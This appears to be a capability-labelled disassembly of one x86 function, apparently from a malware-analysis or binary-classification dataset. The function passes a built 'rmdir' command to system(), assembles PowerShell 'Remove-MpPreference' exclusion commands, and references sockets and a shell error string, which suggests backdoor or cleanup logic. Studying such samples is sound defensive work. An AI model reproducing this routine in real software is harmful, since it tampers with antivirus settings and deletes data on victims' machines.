Function at 0x40fc60
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42179d
mov eax, dword fs:[0]
push eax
sub esp, 0x74
mov eax, dword [0x42b00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
sub esp, 0xc
mov dword [ebp - 4], 0
mov esi, esp
mov dword [ebp - 0x14], esi
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov eax, dword [ebp + 0xc]
sub eax, dword [ebp + 8]
je 0x40fce6
cmp eax, 0x7fffffff
ja 0x410210
push eax
mov ecx, esi
call fcn.00406440
mov edi, dword [esi]
mov esi, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
sub esi, eax
push esi
push eax
push edi
call sub.VCRUNTIME140.dll_memmove
mov ecx, dword [ebp - 0x14]
lea eax, [edi + esi]
add esp, 0xc
mov dword [ecx + 4], eax
lea ecx, [ebp - 0x68]
call fcn.004068f0
add esp, 0xc
mov esi, eax
mov byte [ebp - 4], 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [esi + 0x14], 0x10
mov edi, eax
jb 0x40fd07
mov esi, dword [esi]
push 0xa
lea eax, [ebp - 0x14]
mov dword [edi], 0
push eax
push esi
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
add esp, 0xc
cmp esi, dword [ebp - 0x14]
jne 0x40fd2d
push str.invalid_stoi_argument
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xinvalid_argument_char_const__]
cmp dword [edi], 0x22
jne 0x40fd3d
push str.stoi_argument_out_of_range
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xout_of_range_char_const__]
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x54]
movzx eax, ax
mov dword [ebp - 0x34], eax
cmp ecx, 0x10
jb 0x40fd7d
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40fd73
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40fd73
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041f6f2
add esp, 8
sub esp, 0x18
mov ecx, esp
push 0x42b0b0
call fcn.00404790
call fcn.00408c20
add esp, 0x18
test al, al
je 0x40ff64
xor edi, edi
nop
sub esp, 0x18
mov esi, esp
sub esp, 0x18
mov ecx, esp
push 0x42b0b0
call fcn.00404790
mov ecx, esi
call fcn.00408ac0
add esp, 0x18
call fcn.0041da70
add esp, 0x18
cmp edi, 0x12c
jg 0x41021a
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 0x18
inc edi
mov esi, esp
sub esp, 0x18
mov ecx, esp
push 0x42b0b0
call fcn.00404790
mov ecx, esi
call fcn.00408ac0
add esp, 0x18
call fcn.0041d880
add esp, 0x18
test eax, eax
jne 0x40fda0
sub esp, 0x18
mov ecx, esp
push 0x42b0b0
call fcn.00404790
call fcn.00406620
mov ecx, esp
push 0x42b0b0
call fcn.00404790
lea ecx, [ebp - 0x68]
call fcn.004089c0
push eax
mov edx, str.rmdir__
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x50]
call fcn.00404e60
add esp, 0x1c
push 0x42468c
mov ecx, eax
mov byte [ebp - 4], 3
call fcn.00404690
mov dword [ebp - 0x20], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x1c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x30], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x20], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x30]
cmp dword [ebp - 0x1c], 0x10
cmovae eax, dword [ebp - 0x30]
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, dword [ebp - 0x1c]
add esp, 4
cmp ecx, 0x10
jb 0x40fed2
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40fec8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ff54
push ecx
push edx
call fcn.0041f6f2
add esp, 8
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0xf
mov byte [ebp - 0x30], 0
cmp ecx, 0x10
jb 0x40ff18
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40ff0e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ff54
push ecx
push edx
call fcn.0041f6f2
add esp, 8
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x54]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
mov byte [ebp - 0x50], 0
cmp ecx, 0x10
jb 0x40ff64
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40ff5a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40ff5a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041f6f2
add esp, 8
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x38], esp
push 0x42b098
call fcn.00404790
sub esp, 0x18
mov byte [ebp - 4], 4
mov edi, esp
sub esp, 0x18
mov ecx, esp
push 0x42b0b0
call fcn.00404790
lea ecx, [ebp - 0x80]
call fcn.00408ac0
add esp, 0x18
mov dword [ebp - 0x18], eax
mov byte [ebp - 4], 5
mov ecx, closesocket
mov edx, dword [0x42b0c0]
sub ecx, edx
cmp ecx, 0x24
jb 0x410215
cmp dword [0x42b0c4], 0x10
mov eax, 0x42b0b0
push edx
cmovae eax, dword [0x42b0b0]
push eax
push 0x24
push str.Remove_MpPreference__ExclusionPath_
push ecx
push dword [ebp - 0x38]
lea ecx, [ebp - 0x30]
call fcn.0040acb0
mov byte [ebp - 4], 6
mov edx, dword [ebp - 0x1c]
mov eax, edx
mov ecx, dword [ebp - 0x20]
sub eax, ecx
push 0x2a
push str.__Remove_MpPreference__ExclusionProcess_
cmp eax, 0x2a
jb 0x41001c
cmp edx, 0x10
lea esi, [ebp - 0x30]
lea eax, [ecx + 0x2a]
cmovae esi, dword [ebp - 0x30]
add esi, ecx
mov dword [ebp - 0x20], eax
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 0x2a], 0
lea eax, [ebp - 0x30]
jmp 0x41002d
mov byte [ebp - 0x14], 0
lea ecx, [ebp - 0x30]
push dword [ebp - 0x14]
push 0x2a
call fcn.00405570
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x68], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x58], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
push dword [ebp - 0x18]
lea eax, [ebp - 0x68]
mov byte [ebp - 4], 7
push eax
push dword [ebp - 0x38]
lea ecx, [ebp - 0x50]
call fcn.0040aad0
push 0x424bec
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 8
call fcn.00404690
xorps xmm0, xmm0
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [edi], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [edi + 0x10], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0xc
call fcn.004069f0
mov byte [ebp - 4], 0xb
add esp, 0x30
mov ecx, dword [ebp - 0x3c]
cmp ecx, 0x10
jb 0x4100ef
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4100e5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4101a5
push ecx
push edx
call fcn.0041f6f2
add esp, 8
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x54]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
mov byte [ebp - 0x50], 0
cmp ecx, 0x10
jb 0x410135
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41012b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4101a5
push ecx
push edx
call fcn.0041f6f2
add esp, 8
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x1c]
cmp ecx, 0x10
jb 0x410169
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41015f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4101a5
push ecx
push edx
call fcn.0041f6f2
add esp, 8
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x6c]
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0xf
mov byte [ebp - 0x30], 0
cmp ecx, 0x10
jb 0x4101b5
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4101ab
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4101ab
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041f6f2
add esp, 8
push dword [ebp - 0x34]
call fcn.00410240
mov ecx, dword [ebp + 8]
test ecx, ecx
je 0x4101f3
mov edx, dword [ebp + 0x10]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x4101e9
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4101e9
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.0041f6f2
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041f19c
mov esp, ebp
pop ebp
ret 0xc
call fcn.00405cc0
call fcn.00401620
push str.SHOTDOW_SHELL_ERROR
lea ecx, [ebp - 0x24]
call fcn.004064c0
push 0x428894
lea eax, [ebp - 0x24]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3